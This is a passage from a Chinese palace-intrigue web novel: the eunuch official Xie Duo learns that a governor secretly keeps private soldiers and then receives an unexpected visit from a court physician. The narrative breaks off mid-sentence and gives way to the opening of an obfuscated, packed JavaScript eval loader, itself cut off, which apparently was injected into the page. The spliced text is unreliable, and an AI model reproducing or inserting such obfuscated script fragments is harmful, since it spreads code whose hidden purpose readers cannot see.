“想必督公大人已经调查到,下官曾勒索卫指挥使吃空饷。但其实——”陈介声音愈低,带上了真实的颤抖,“那不是空饷。”他咽了口口水,“张巡抚在远郊有个庄子,里面养了三百私兵。”
谢铎动作一顿,“他竟敢养私兵?”
首辅知道这事吗?
必然是不知的。虽只有三百私兵,但只要养了,便是谋逆之罪。李明仁若是知道,必然早早地与张靖国断绝关系。
“此事十分机密,下官也是意外发现。”陈介道,“大人若不信,仔细审问卫指挥使,必能审出端倪。”
事关重大,谢铎自要派人去查个清楚。
可……“此事为何不向陛下禀明?”谢铎面色沉下来。
陈介仰头,“下官以为,只有大人才能保全下官和家人的性命。只有跟着大人,才能实现下官的报负。”
……
陈介被重新带下去,谢铎交代底下人审理卫指挥使,并联系豫州暗桩,调查是否确有豢养私兵一事。
事情都交代下去,卫铮搬了一大沓公文进来,问:“大人,这会儿回府吗?”
从前谢铎下朝后多是在东厂办公,召人办事更方便些,但这几日都是带着公文回府的,是以才有了这么一问。
“不回府”,谢铎捻了捻指尖,濡湿粘腻的触感似乎重又浮现,督公大人眉心紧皱,“这两日邪火攻心,心浮气躁,先去校场拉几弓,回来再处理公务。”
“是。”卫铮语气难得欢快,他最喜欢的就是与大人同往校场切磋。
两人换上更为轻便的骑射服,刚到校场,才拉上几弓,还未尽兴,忽然有一督公府小厮火急火燎地赶来,道是有要事禀报。
刘太医来了,明面上说是要给苏蔻复诊,背地里……
谢铎回府时,刘时瑾刚从苏蔻院中出来。
谢铎是一府之主,如今扮演的又是个宠爱美人的角色,召见美人的太医关心病情也很合理,便顺理成章地将刘太医请进了自己院中。
“怎会忽然过来?”谢铎放下茶盏,眉眼间戾气明显,“陛下的指示?”
往常都是督公府派人请太医,刘太医才会
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(